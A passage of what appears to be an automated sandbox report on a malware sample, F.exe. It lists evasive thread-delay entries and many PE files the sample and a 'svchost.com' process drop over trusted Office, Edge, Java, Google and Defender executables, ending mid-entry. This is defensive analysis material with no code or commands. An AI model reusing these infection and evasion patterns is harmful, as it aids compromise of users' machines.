Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\._cache_F.exe	Window / User API: threadDelayed 7590	Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Window / User API: threadDelayed 2005	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2522
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4058
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4748
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 402

Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE	Jump to dropped file
Source: C:\Windows\svchost.com	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_F.exe TID: 8980	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7400	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7400	Thread sleep time: -6840000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 8380	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8680	Thread sleep count: 4058 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8796	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8828	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8904	Thread sleep count: 4750 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8908	Thread sleep count: 402 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8932	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\._cache_F.exe

